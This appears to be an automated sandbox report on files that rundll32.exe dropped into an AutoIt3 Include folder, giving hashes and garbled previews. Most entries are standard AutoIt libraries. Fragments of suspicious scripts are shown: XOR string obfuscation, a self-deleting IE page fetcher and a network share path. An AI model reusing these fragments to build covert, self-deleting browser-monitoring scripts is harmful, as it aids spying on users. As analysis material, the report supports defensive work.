Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	42747
Entropy (8bit):	6.40227066135071
Encrypted:	false
SSDEEP:	384:fBkC2jUp2LzJGvH0+Xn+KJfvANP+6OTNwzLEGQ1nM9cEPJB7uDlVN+WzAvUwH3k6:mx1ol/Fu4q5PDIV1wXkwok1
MD5:	8CA5B77A457044CBCBD9A8B72D2B42A2
SHA1:	49C7D47BEDA075F10FA08B07FC9E825B22691423
SHA-256:	C72AA9617E0849DBB60B30D7C620DEBCA4F4F78078CD57107D0FD59989DF35CD
SHA-512:	ADD104EF38F08F5098E6B2348DB69037233C5D4E544EE1B19B6C57C14B639F2246249793E4443B9703F6C228ACDD5CEDD705413485741B81BF9F26BC90AE0B89
Malicious:	false
Preview:	a.......<.3(...S.^sR.T..^.ti..[h......G.....\|Be$.'<e.KV.}....WtringConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIMem.au3"..#include "WinAPIMisc.au3"..#include "WinAPIShPath.au3".H.....i..sm...M..-.....A......9.oW.E......o.-...{....5.L..9====================================================================..; Title .........: WinAPI Extended UDF Library for AutoIt3O.....d'..(.....0.....J..-...@.!....@...\|.7.NR/.LZ.i.QP.viables, constants and functions for the WinAPIShellEx.au3..; Author(s) .....: Yashied, jpm..; ==================================.......n.mp...M..-.....A......9.oW.E......o.-...{....5.L..9=============================....#Region Global Variables and Constants....; #VARIABLES# =======================================.......n.mp...M..-.....A......9.oW.E......o.-...{....5.L..9============..; ================================================================================================================.......n.mp...}..0....(.jt...9.oW.E.

C:\Program Files (x86)\AutoIt3\Include\WinAPISys.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	77908
Entropy (8bit):	6.279872185511587
Encrypted:	false
SSDEEP:	1536:cL2YtwAn1ocsoDQ1o1pHFqC5wK7spvLiRS+v8p1N:ctnpUnKCvCS+v8TN
MD5:	246EFD19097306FB5D4F8BB22DC286A4
SHA1:	33F00615B6292E2ABD11DC0B43569BB76196019F
SHA-256:	7A5201B34E32009C6E3FF36B7DD8C95E4FBAE6FFD799A4A2299ADB0575CAEAE9
SHA-512:	362EC01EAD06DF249FFC089EE0FDC20549A0B35B9CC1383C15CFB25D8C80003A37710A30E7FB0D80DD6C423FC1B9AFDEEC400AEC3E2AC74458F7D0AB5C33E417
Malicious:	false
Preview:	......`.L..rO....s......c......U....;..(fZ.....\|\..~Y6lHs..X$.IConv.au3"..#include "WinAPIError.au3"..#include "WinAPIGdiInternals.au3"..#include "WinAPIHObj.au3"..#include "WinAPIIcons.au3".X...h....3}v..^.......5.2....O...hI..2T$-....1...!._.e[...,.DEX# =======================================================================================================================..; .....*.OF.?.1........:.C.K....H..h'..t....c...@..[Xa.bj..C..It Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPISys.au3..; Author(s) ......."...m..D.{Zr..5p.T.N.;..........uV..a(IY..1..b.../.o4Ul...X.=================================================================================....#Region Global Variables and Constants....;.8...P./<.2."..3m.T.N.;..........uV..a(IY..1..b.../.o4Ul...X.================================================================..Global Const $tagOSVERSIONINFOEX = $tagOSVERSIONINFO & ';ushor..(...m..8.rAR..a"......r.l....O..#&.

C:\Program Files (x86)\AutoIt3\Include\WinAPISysInternals.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	28405
Entropy (8bit):	6.179504939572266
Encrypted:	false
SSDEEP:	384:suq7azuUbJTLrYwnzy8P4LJoCIQQkU1oxJ0umENpAO2wM18vccpvut8:xKYx913+cImy
MD5:	859B1091B85AD1D7696A040FEE72B143
SHA1:	75DFD57D9C4D2263E9538B3819F8A29FFF4444BA
SHA-256:	252972FA0B7840A7F4AEA0F58AF6066167C42867F2C873B859AD3F7407F595BE
SHA-512:	D14905EAC8F839C3BC1FE81584F7705B993EF3E4B59822F7CD9E797D4F547392DBBA4FA056CBA19653FEBFD5A5B83F0A55FDD4A8DBF0F2E55F911FEC49B7F968
Malicious:	false
Preview:	/..8N..<.....d..@..1.S%..glZk.......rY!...)....B.\|.]A...o...Constants.au3"..#include "WinAPIInternals.au3"....; #INDEX# ====================================================================1.Ef....n.... .S.....y..8.{??..C@....../.577.B......_F...;.M.......: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants,..?.....'...=..Q.Z..d._k..KQGUP.....3mgN`ex......7.Q(......X.===============================================================================================================================...rxp....=.......O.%.Z`.fclZ.=.....]g_.0..1.\..e.X.3W..&.^.==============================================================================================================..Global $__g_aInP~..>Q..=..+.3x.s..d.m5.f2_c+t:...._3.MeoUk....^.m.({...@.W.[2] = [[0, 0]]..; ==============================================================================================================1.Ef....n.... .S..#..d.uJ..VCpr-^.....

C:\Program Files (x86)\AutoIt3\Include\WinAPISysWin.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58771
Entropy (8bit):	6.22554366278686
Encrypted:	false
SSDEEP:	768:bP2jRdlzVm1cp2cLy3KuYF+iun70TgSh50/HPaw:2dlzVWcp22yoF+iun7ugSh50/HPH
MD5:	00156F00C204AF7D378EF39A75CCDE6F
SHA1:	25946D36682FAEA3C9DB7BA32EEC2BA87669B19C
SHA-256:	C916F7415BACC67562CDC5AD9904EA87A8D4FF65BE51358A170DF4E5E33708EE
SHA-512:	512BC73A7072DB875CEA7BE376345B5C3F17E0F8C82A07A9D370C555154221C33BFBFA64D1805E4D4206FFC6BE64DFBF162243ACDEB12AF09A93A77A58B01775
Malicious:	false
Preview:	s......5F.A^n.!.....JhF .l..+A.b...H...]..D#X...F!j..........Internals.au3"....; #INDEX# ====================================================================================================m.._..mV.y..^3...GM..=v,."<.k.h....o.......!wB..../Nq.........rsion : 3.3.16.1..; Description ...: Windows API calls that have been translated to AutoIt functions...; Author(s) .....: Paul C1......pC.%WW*O....!.TrQ1.n..$oj.../[......+r.....E.$[.S..=?...DS, Raik, jpm..; Dll ...........: kernel32.dll, user32.dll, gdi32.dll, comdlg32.dll, shell32.dll, ole32.dll, winspool.drv..; ===m.._..mV.y..^3...G}.. .x.sd.x={....\|....S..s=....yw..B..sc..============================================================....#Region Global Variables and Constants....; #VARIABLES# ========m.._..mV.y..^3...G}.. .x.sd.x={....\|....S..s=....yw..B..sc..===========================================..; =================================================================================m.._..mV.y..^3...G}.. .x.sd.x={....\|...

C:\Program Files (x86)\AutoIt3\Include\WinAPITheme.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	42159
Entropy (8bit):	6.262101177585699
Encrypted:	false
SSDEEP:	768:vD7S8N7W0bhTbAlihMfu2L3hitniQ6SYTrllj:SC7/hMfRL3Y8rr
MD5:	C891C93587194FFAC7B6F8B7EB224B0D
SHA1:	40D28F599D25BEDD11D9492817FADFF3C85640E0
SHA-256:	C1B810486BC27EB773F6129463977AFEE47F1A20D7627851D66A3495BFEE37FC
SHA-512:	5F349AA2660F815AFCF6A3CD328EC1CC57BA25DE75F70B7C823881FCB449F9D3750D1309BF9953BAD28E194ED3FC22F5764B4748B4A67874930CA50365E1CBB1
Malicious:	false
Preview:	#rD....k..]..4H....q.e{.).An.........F..G;..(.7.6.?.q......guctureConstants.au3"..#include "WinAPIInternals.au3"....; #INDEX# ===============================================================&....K.{.....x...R. .<#.6.,....L......I.@.Tg..7...b.a.9.s....ale .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, consoK..V.(.X..]1.....{.s>.c.1p.!.....ZI..dP..K.I_0.t.-.W..../ Yashied, jpm..; ================================================================================================================&....K.{.....x...e.O.fw.e.VK.......D..I;..*.RY,.=.p.t.!..5#VARIABLES# ===================================================================================================================.. ....K.{.....x...R. .<#.6.,....L......I.@.Tg..7...b.a.9.D....(==================================================================....; #CONSTANTS# =============================================&....K.{.....x...R. .<#.6.,....L......

C:\Program Files (x86)\AutoIt3\Include\WinAPIlangConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8631
Entropy (8bit):	6.669805919243193
Encrypted:	false
SSDEEP:	192:nylIykIoEYvdAQQYsVV2U76UySKn+5chyXXS:nylvkt0x76UySK+esS
MD5:	95C376380597852DE990248505C2D832
SHA1:	06E23F3B49911ECE65AE967E92E0B6A3040026BB
SHA-256:	DDD9BE626B69FCD1C9DCAE34EBD957DB2B34320B64823A229C131B0FE1D679D7
SHA-512:	319D577CA7B8CE3D52738153272DFB5E2747019273B56D13861D299A3E3E15CF1EB7A66B4005A742073BB446DA92A323A6155F12A452C040C53A1C2CB380E9EC
Malicious:	false
Preview:	..l....5.W.r"_.<D....=....sC.{v.h.Fo{..C...S.I..<.5.......W..==================================================================================..; Title .........: API Constants UDF Library..m..:.$.q."JX=.a.^......S.I!..\|k.{.Ucp..sH.."...B`.m.......P..yglish..; Description ...: Constants for locale functions...; Author(s) .....: Yashied, Jpm..; ==================================..?..FXm...,zo;..B....E....sC.{v.h.Fo{..C...S.I..<.5.......W..=============================....; #CONSTANTS# =================================================================================..?..FXm...,zo;..B....E....sC.{v.X.vX}...,......^e.f.C.Q..@g..{obal Const $LANG_AFRIKAANS = 0x36..Global Const $LANG_ALBANIAN = 0x1c..Global Const $LANG_ARABIC = 0x01..Global Const $LANG_ARME..C.FE`....M.j^B.F.......l.0...p..6..{.Cb.Z.y.pm.j.F.{..@..[ANG_AZERI = 0x2c..Global Const $LANG_BASQUE = 0x2d..Global Const $LANG_BELARUSIAN = 0x23..Global Const $LANG_BENGALI = 0x45..Glo.n....#...]..Anbf...9....~..tF)...0'R

C:\Program Files (x86)\AutoIt3\Include\WinAPIsysinfoConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9332
Entropy (8bit):	6.717444671323783
Encrypted:	false
SSDEEP:	192:303+OqYFZIZhH3OJWczojjekJ0rx5gOfb+MNQxjouV9P2N52y+bfS:303BhZIjfekJ0rx5BpwjounPM
MD5:	A326A4B376FC9A9C605B43F0B929E276
SHA1:	29464B0917B69724969BFB5ECFA0D29ED53A7090
SHA-256:	FC4A772391C36B3088EF51EF8FEF4CBA967766870393F03B36C70E8659E30CA9
SHA-512:	D195C8C1D35BA1E077DB27B9A8A4F86A35860C3379EFF565B4ABA19FCE4C1CD547A560221B42AE23BFAA0AC5F6D5736F48B953885AF3F96C9C392650824228F7
Malicious:	false
Preview:	......t\.1...5.....^).."o......1..ed..ynD....h._8.4.....Z\|.==================================================================================..; Title .........: API Constants UDF Library......e..+V........^....s<V.K...?..vh...NhY..K.4..%.'=....G..glish..; Description ...: Constants for _WinAPI_SystemParametersInfo()...; Author(s) .....: Yashied, Jpm..; ====================.......,L.bX........Z...<r......1..ed..ynD....h._8.4.....Z\|.===========================================....; #CONSTANTS# ===================================================================.......,L.bX........Z...<r......1..ed..*ynD..!.X.Y%c^z.a.`8..stemParametersInfo()..Global Const $SPI_GETBEEP = 0x0001..Global Const $SPI_SETBEEP = 0x0002..Global Const $SPI_GETMOUSE = 0x000......p......K....H4..N.l.....t..hm...{+1....C.&.B!oYZ.g.}%..DER = 0x0005..Global Const $SPI_SETBORDER = 0x0006..Global Const $SPI_GETKEYBOARDSPEED = 0x000A..Global Const $SPI_SETKEYBOARDSP.....iA.o'..x.....7$...uo..u.d.M.....

C:\Program Files (x86)\AutoIt3\Include\WinAPIvkeysConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6573
Entropy (8bit):	6.691350488863191
Encrypted:	false
SSDEEP:	192:XzRu9+7R97RlTBbOeo8Wj8Iy0DS86DnGvYjjF2I7RGS:89+7fTm14Iy0DS86qwjZ2IH
MD5:	201A69DE50B5A2DFA84D5A75E3DC1206
SHA1:	69DB63B81BF22B27DEB4FE7F76774E1EA2242469
SHA-256:	02058A851CA187528DAD26C6CD89BA1290AAFE6A20AB8D8968EC7650F19550B9
SHA-512:	040849774FB2E3DEAEA329925F1EFCCCE3600A577C5E13BB5068F079194074CFABE5C4747430543B2E02B322ED9CE52E86610D767EA56D221BBAC1495147492B
Malicious:	false
Preview:	d&n..@..D.<J./..f.?A'.v....F.......].p...eA...3.....0..E...==================================================================================..; Title .........: API Constants UDF Libraryg)o.Qt....&.d(..-.k.'.....]........Q.c....x0#..{.......#..B..Tglish..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ======================zr=.L...T.o.T...Q."_S......F.......].p...eA...3.....0..E...=========================================....; #CONSTANTS# =====================================================================zr=.L...T.o.T...Q."_S......F.......].p...eAO.....A.Sl..3V.I Constants..Global Const $VK_LBUTTON = 0x01..Global Const $VK_RBUTTON = 0x02..Global Const $VK_CANCEL = 0x03..Global Const $VK_M..T.>{..I.*.]/....}...q....._......../.\|... Lw..I..._.eb....lK_XBUTTON2 = 0x06..Global Const $VK_BACK = 0x08..Global Const $VK_TAB = 0x09..Global Const $VK_CLEAR = 0x0C..Global Const $VK_RE..R.Q......$ce....sB-.\...b0.....@.5

C:\Program Files (x86)\AutoIt3\Include\WinNet.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	47094
Entropy (8bit):	6.574354284713767
Encrypted:	false
SSDEEP:	768:GXLA/bGT76PHrDKt5XnJUhuDTMklpidk++h:GXs/63t5XSEDT7pAk++h
MD5:	C0C2B8C5F877DFBB099E1C31E8E39EE2
SHA1:	F6A21C66D2FDC52DBEA9EA3A62D425B9EFAD6705
SHA-256:	62917EF9747F06E416969F1E026EEC1FF4C85F0B9DD1E48D78CBC05F38D4ACA0
SHA-512:	53A9BDD037762D6096047FE465656CAEF81BC10180669C72644913C812C84DF1F15FEF52950BA940197AFBB47C89A14F33D56C12DE514C8F69BFEC000EF6DB07
Malicious:	false
Preview:	...z.....f.v....t..RJA:/.Sk.!.}....A.G.X.D.1axu.G$.I...f..k.j"nAPIConv.au3"....; #INDEX# =====================================================================================================...$..L...5.....jx...`7>...N}.0...Oe.Fc.W._.lNh2.%\.I..u._...I$It Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with Windows Networking management.....9..Q...(.3...wU.eNQ~...\.$.>...$\.].^...Qeyo.,[.C...}..*.Q$w you to implement networking capabilities in your application..; without making allowances for a particula..\|......(.a....2...IF~j..A.:......Z.[.R...rpa#./@.A...}J.k.U"s is..; because the WNet functions are network independent...; Author(s) .....: Paul Campbell (PaulIA)..; ====...$..L...5.....jH....cw.L.]n.#...\v.[......"=0{.w.....E.Y.v..v===========================================================....; #CONSTANTS# ===================================================...$..L...5.....jH....cw.L.]n.#...\v.[.

C:\Program Files (x86)\AutoIt3\Include\WindowsConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM, 0x8C-variant)
Category:	dropped
Size (bytes):	33780
Entropy (8bit):	6.801550176013667
Encrypted:	false
SSDEEP:	384:GzbWFDwA1Ghb5Zb76fgEKEYTGi0ESU4ir78rCyf+E36qtHiqfFS:l+pV7iKEY30bU4ikrCyf736tqfI
MD5:	688180ED23B10B97A5760CFA3A14EB53
SHA1:	53F8311CE9E6D416923DFFD31B179BD2AFDCA671
SHA-256:	1F323EFA6E626AF32CF114A6548328DB75D2C7F963FAE6B2FE31D8C091595894
SHA-512:	F38BC3BBD2925E73ADC04D238D1B3A95A2EA9A24BC145D8ED2B1E78A04D73C8D9940A972F858EA3B4C90F525098DEFAEDA47E69F6C57A6AA58AF055DA2CAF058
Malicious:	false
Preview:	...5....P.VK.362s..Fl..U...9..S.`....s...........`.)..j....==================================================================================..; Title .........: Windows_Constants..; Auto.I.........O...W..K...+....c....}....`....K.....0...g.Q>..F.N ...: <a href="../appendix/GUIStyles.htm">GUI control Windows styles</a> and much more constants...; Author(s) .....: Valik, Gar../$...]C..b4..D..X...-....9..S.`....s...........`.)..j....===============================================================================....; #CONSTANTS# ===============================..Tk...@P..R...D..X...-....9..S.`....s...........`.)..j....====================....; Window Classes..Global Const $WC_ANIMATE = 'SysAnimate32'..Global Const $WC_BUTTON = 'Button'..Global ..%....>2{g"\|s}6..X.......k.c......".c...X....y....V.{......ComboBoxEx32'..Global Const $WC_DATETIMEPICK = 'SysDateTimePick32'..Global Const $WC_EDIT = 'Edit'..Global Const $WC_HEADER = 'S.!3....N_.%eyPP..Ef.c....G..!......n.

C:\Program Files (x86)\AutoIt3\Include\WordConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11982
Entropy (8bit):	6.585729211747684
Encrypted:	false
SSDEEP:	192:8lw8SrdcXh5rOm/10mQ8uirDYV7KGIAeDvwOdwS:8qFe5r1ncNL6T
MD5:	99E9BC95F4C39702451F4CCE4161732D
SHA1:	21176F4FCB8AEC95C62654892A2314FE41B138B2
SHA-256:	2AB48F8EDC3B04469054A586736506A0202F32EEAFA4E9D1291FBB7E491FEE5F
SHA-512:	F79B2978960FDFDFDECF9D2643E2A5FD1B15181C64BC8C131A5BDFE1E24C67C4314C6FB3B3E437BB38B82E734EB7A83FD951FADFA4E3956DB8705232F9433058
Malicious:	false
Preview:	:...`....i.d.R....;.VS+....*h..T#V.s~.w.....3q6......1..M.z.pee==================================================================================..; Title .........: WordConstants..; AutoIt V\|..c.....)//?l.>:.#.Tv.<.P.ru..G0E.tc.$.....F0..V..De...).cvv: Constants to be included in an AutoIt script when using the Word UDF...; Author(s) .....: water..; Resources .....: Word 2007 \..i..R.io;.x..C.".7z.?...~6...q..` .'....}cg..A..O#.D.q.xo}28v=office.12%29..; ============================================================================================================$...1....:!<3e.6......U{.r.Y...'J8.n~.w.....3q6......1..M.z.pee========================================================================================..; WdBreakType Enumeration. Specifies t`.c...I.fw/.R.+d.}.8../...88...0..-1.9....a!$......`...5.b::213704%28v=office.12%29..Global Const $WdColumnBreak = 8 ; Column break at the insertion point..Global Const $WdLineBreak = 6 ; U...,..Z...Fb7.j[.[.vd.{.f.[<..+l..%../

C:\Program Files (x86)\AutoIt3\Include\_ReadMe_.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	6.844256756962972
Encrypted:	false
SSDEEP:	12:g1nHYvjbqo2hjlvCAIdtv5uXT1J+oRmJW2ZS:G4Px2hjNYdTqPmscS
MD5:	E4002D385139A9459FF96006009A886F
SHA1:	B47AE32DC049AE0F8234E112AFD95BB76BCDE3B1
SHA-256:	4ABC64CFFB6DFA798B2F06A2B420E3FA7CF0BA8FF88B1B844581954507FD6AD6
SHA-512:	6E1255D81374CADD447D7DAE46267E5680782282C54DBBCEDBCF2F1BA43BF62A869D2797B255635DC488D1CA56D28D73B327F7C8B3D6BBB88476D88E43248CD1
Malicious:	false
Preview:	p.YG..<D.T..WW^........E..RK..\SC.....<mN....SdK.'./..V.x<.LP.y@..6D.G...#t.........C..._..KBDS...;mO...1.H.:..%...+cp.WE.U...f..=..vK........Q..@...Z.IY....;$N...Y6..:.......Men.Kead the .au3 directly.....Z.....(."E&...lL.'w...M...b*G........7s.../...../K....P"......&t..sT<..w.....Z.\|.........../.\..D......6..<hg.V..l....A...V....F.O./..'(.A/.9.....8..L.t.,.{.+.&...+[.G.7..p....0z..5....O..?.-..............................................................................................29yp10v5m8k.

C:\Program Files (x86)\AutoIt3\Include\analysistimer.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2865
Entropy (8bit):	7.766374865001414
Encrypted:	false
SSDEEP:	48:vscUQysJYD/l98B/7menSNJhkFhnwUtwQvFgGrOECi/m8UPphS:vpU5sJEWdK4SNTkFh5HvOGPLmRphS
MD5:	4A618B784338CE5CFBFB87BBD90D872C
SHA1:	1AFF14695C5F3463FD548722D0A47164F9BECD50
SHA-256:	AE08B183A659C62CBAC4545731C5167D4EB4D93DF11DC14EED557D7B00F58BE0
SHA-512:	31D86DEAFCBD1AE67BD2804E9DDB543D70D2DF77A8EEAD1DC59A8942D446EF260A0218092BE320B056EB6493CBC6FE4B5C741BDFBBE627CCAE1A41994AE44AD9
Malicious:	false
Preview:	&.4O.....@...K...q.....#...F....6A.g...Rn..{l.n..gy....JS7..R'..o.........'..<....'/.W.'...{b,.......}$.Y?IH~T.. GX'.W:V.)r.....C...hCg.S. ...j...n....y.a..../...y.!F&j?...$GD ...l.>i....{..KCg.y....&.W.b....<IDe.$ ..._.s..C~V.. X.s. )`.4u....p....'...B..Bj.W._....0H.........<~.n.gMz\..+Nfb.rp..R;....F...5...7.u......j....{w.(........1l.A}7L.. ..2...j.u2........qbM...;..$:........h.Xi...../E.:U+z8...q....OV%.#+........KGM......?..0.g...i]Y\|...?C..V-.wfcrt.. G.n.8/L./i.....[....$"M.y.j..x..S.'....y.Pu...[J...-..{.zeT..1mR=._R%.j7........LDd.y....?8. ......q.L....7...s-.+t.HQ~..l&7Z._=P..~.....J..LDd.y.!...>...d.....b.,.......1!.q.o.&...O".s. .l.>O........$<$.0.h..bG.~.....5@Ht...[C...-.s.g`rO..(N.n.-.b.>z.....c...c.....%..bG.z.+....ye.7...[^...+e.=?I..1.."oX?...-..P.......(#..p.B..Bn.'.f.....Ue.......+-.s.N..1....R'...l.>R.....F...asM.7.?..&/.y......?(bH...[...+h.:_&\|7....^T....q.4l.....F...#+..y....?+.'.f....5I....

C:\Program Files (x86)\AutoIt3\Include\cleanup.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1663
Entropy (8bit):	7.677235987245569
Encrypted:	false
SSDEEP:	48:OyFOEpoexhrWQFOASP6FNj7THpm2exnkjjLFwCsS:OsFoexhrW6OTP6LVexnAFDsS
MD5:	5768E72191299BDA7AC705EDBF58701A
SHA1:	4CCFA7F5F812EE9F4428899D57BB6ADB98AB5634
SHA-256:	40B7805B359CD5E90D7751394935C3DCCC4B9CDEED8C90E3597576812AB35C9C
SHA-512:	8A0ED3C817D1A0EB0E68DAA8DAE39917806A63D88B5079D48CEE844C1467AFC3942D0B132FAB805E4BA664C51AEBEAE5443BC48450E207690AA83513A3F39CBA
Malicious:	false
Preview:	....[...$.a.n.0.'.Sg...z.s..V `.'..$.Pg...=L..AV.....\|d.j..e..G......(.w.'.NK,.. .W....~.j..$.hk....\|....`=........."+.H..@.."...e... .Qv.......cub.....".eb....._..R.......@W.%..}......4.\.`.d.H.]...z...;m32....$.$]....;{...A\.p......Qe..g..g..e..Q.m.u.:.O.R.....x9.\|.'..#.@\|....9@....-..P.....F.DH...._..&...".0.".@v=..v..."Qe.......ki....0T....W..S...{c4.t.+..@......;.#.:.!"r{+..~.L.D2.T.f....p{...9.....W..S....SL.+f....`.J..a.D.....Fz..~...+8.b./..).vk....A....)~.{......Hn.....\|..4..L.m...7.oc5..5.\.D2.T.f..o.$?....Q...R........zyO. ..D...g..a.D.<...Lm...1.D.[..w.n..,.eR...3K...J..M....]N."+.L..[..(.D.....!.Sq..5.>.x9.^.b.k.&R....=L..E..r......X.z.+..[..e..].@.\.;.DF=..g.V.Hf3E.j....$(...9J.....T.c......_Wj.&..u..5...9...7:Sk...\...y5.u.{..).ha...8Y....\.........znJ.1....... ......,nM..._.7.W'_!.K..{.):....h.....G.....C+z:`.s......(.!.!.z\iI...P.?.X.<O.@....ky.....W....w=.c...5[}=..q.....w..U.x.x.`JeGj..".;.v~F.......`g

C:\Program Files (x86)\AutoIt3\Include\corporate.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1118
Entropy (8bit):	7.5007579398069435
Encrypted:	false
SSDEEP:	24:jV6IpMZsv2veQvl+wEFvuYQwMtGZZpLaRb4DKAoUnlJpfk8TFpSltbS:B6ICsywwEFGDwvdggKGFjFsltbS
MD5:	7438B611AC98C92C0853C4E7EF585D18
SHA1:	23820EA2C5E147DAE71B63BAB20045D162642350
SHA-256:	9C288A7E7BD500980219A67D97111E073507761F692CAFF78711956F188A33FD
SHA-512:	B01814AD98FFEF88EDE66B71D64B725AC680E35D2DE63B174393CC3BA41A71CA72634061705E98CBEFED31126B0BB08ADA6E1C5064AE818E4BBF44007BE3FD85
Malicious:	false
Preview:	.^.Y.~z.89B....../..5.^...@...7.#.y..lR.l:l...0[..4.j..eZ....d.h.~w:3.C.}....sJ.]D...m...S.9.t...)F.H#h....0G..3..t8.3Y..4.8@l.?!{wv..\...3).?9....@...x...y..d..j$u....o5.gQ...f.ci..9.~D0.Xf7.7B.w..(o.yC0...m...z.(.5..l..}&i....m..3L..hK.#b..1.0.b...b{.D.8...?4.p9S.../...f...f..l..)7<...mE.\|W..u.."..7.0.b.~j7{.m.6....9&.pjT...=...4.!.Z..dL.l"}....g..1...^...l..p.~.y.oju{th.W....ze.5:p.......}.o.5....L.)f0...QG.3...w..)!....BF!.//yy.x.:....ze.......a..C...7..ec..\'.....F..G@..:V.w-....d.-.qu0)9A.v..(..2"_...?...x.=.z..)...mb....m..jI..'K.g0..=.04..\|f*(vi.n...7".$nl...,.....v.5......]/l.....#X.@\..I..3h....f.b.qn<5"..y...6".ZuD...$...@.=.5..lS.Z3h...# .eP..t..)y..9.y.o.z.S`(..G...>.5n....p...`...y... ..L8j...f..3o..s..+h...EnvVarSet("LOGONSERVER", $domain, 2)......u.(...R..)..4....'Rfi......meb5Yj.....=.EP...Q....w.(j....k......&I...# [.~\.Y..... .A...Q.Ue..%.Zcp...mqm..& J.>...d.q..z.+g..........8.e.6?......YI....&...!k..n..r~.Q.h.<'<..I..

C:\Program Files (x86)\AutoIt3\Include\helper.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25328
Entropy (8bit):	6.856728642603752
Encrypted:	false
SSDEEP:	384:QGyLGK6Sh3BacZFRFWaKVbUNjy1s9FeRVV2Tcg7pFYvhh/5M3hvVRpYL:lyLlf/3+FnG9FeJ5gLYvHO3dVRo
MD5:	21B1AB8BEE676FB7DCBEE7C907BBC681
SHA1:	6C350F5EFDB09D764E73DEF408D20D11E1531BF1
SHA-256:	0124C102F120D77637A0883C92860680881AC95DE2C58723C270E860B0E3F76C
SHA-512:	FDC7CA0590F55EB1C97A7B9EFFAD85040B66EBC510194CE92970BB744DD71EDA0B2E74C15D7725FE46492F9B194ADD95072FD5E814502E130AFDCC8172A64E0E
Malicious:	false
Preview:	v...irjN/7.. .Ez..>...[q..U...(&...R.......94XbH.\|.% ...OMau3>..#include <Security.au3>..#include <date.au3>..#include <Process.au3>..#include <Timers.au3>..#include <Word.au3>..#includeuL=.fbb.n~.hd..f..3..vG..L...fn......N.G.%>^.......4k....%i#include <Color.au3>..#include <Array.au3>..#include <WinAPI.au3>..#include <ScreenCapture.au3>..#include <IE.au3>..#include <Cr,..Gdr=....?..Ez....."...x...fn..B....b.>9.Qo.8y..1.....thXor($n, $k)...$ran = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"...$arr = StringToASCIIArray($ran)...$lenuMX:qugEhG.8A.[n..R..9..J......\.........p.p~U....\|E.65...!j$out &= Chr(BitXOR($arr[Random(0, $len - 1, 1)], $k))...Next...Return $out..EndFunc....Func _RandomString($n)...Return _RandomSt'...RnzCWd.~M../..R..2=..X.....}t...e....J.K.13U&...UZ.0$...Z.tocols[2] = ["http://", "https://"]...Local $tlds[3] = [".com", ".org", ".net"].....$protocol_id = Random(0, UBound($protocols) xPIE%6'&..."..vf..b..8........go.....

C:\Program Files (x86)\AutoIt3\Include\htmlfetcher.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5509
Entropy (8bit):	6.838810634991779
Encrypted:	false
SSDEEP:	96:KMhKnjFK5VaXbVo+hNyC7zI+/gfRaNcMO4V2EtjS:3sjFK5Va57zZcWLS
MD5:	9B04E55E08EB6FBA6D620A489D2C7934
SHA1:	1DAABEDF8277502605F7722F8EB4740B4BB683A6
SHA-256:	EF8686723BE1F5A255D16FD798AB21284A2BA5C6CA48122A9801B6686C2049A0
SHA-512:	681BA8D54CF7633215F5794953C9E6F53B4366F28FA7333DC4F864E9E4462E50B94BA2CA9745184F37F41F77190BAB8ED97AEF9718E1ED19DBBB86592F496864
Malicious:	false
Preview:	......j.v...)..iA%...N\..v...q..<a...l/V.\5..a.....y..}.L.3.t.Error","ComError")....#include <ScreenCapture.au3>..#include <IE.au3>..#include <WinAPIError.au3>....$a = WinGetHandle("AutoIt..I.....^...3..>c/....5...['Z....i....!k..#P..3....ak..2.0..=.se..Global $targetDrive = "\\192.168.2.1\esxi07-W10x64_Office_01\"....FileDelete(@ScriptFullPath)....$oDictionary = ObjCreate("S......v.....3..$n8..:....1GQ.Q..t....K.^..<..?....l....u.D.3.dWaitTimeout(45000)....while True.....; Always try to attach to multiple instances...for $i = 1 to 10 ..... $oIE = _IEAttach ( ..V...q.D...$..f/n..=....[l{.v..,o...3bg.K4..V....e/...l..=.t($oIE).... .... $url = _IEPropertyGet ($oIE, "locationurl").... .... if $url <> "about:blank" and $url <> "0" then....... I....<.s......+}3..^f..._po....6e....K..'~..5....+n....i..x.rl, "1")........fetchPage($url, $oIE)....... endif...... EndIf.... .... Sleep(100)... ... endif ... ...Next.... Sleep(2..J.....`...J..@I?...h_...-9.E..S....p

C:\Program Files (x86)\AutoIt3\Include\htmlfetcherchrome.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	zlib compressed data
Category:	dropped
Size (bytes):	15881
Entropy (8bit):	6.7601958985683055
Encrypted:	false
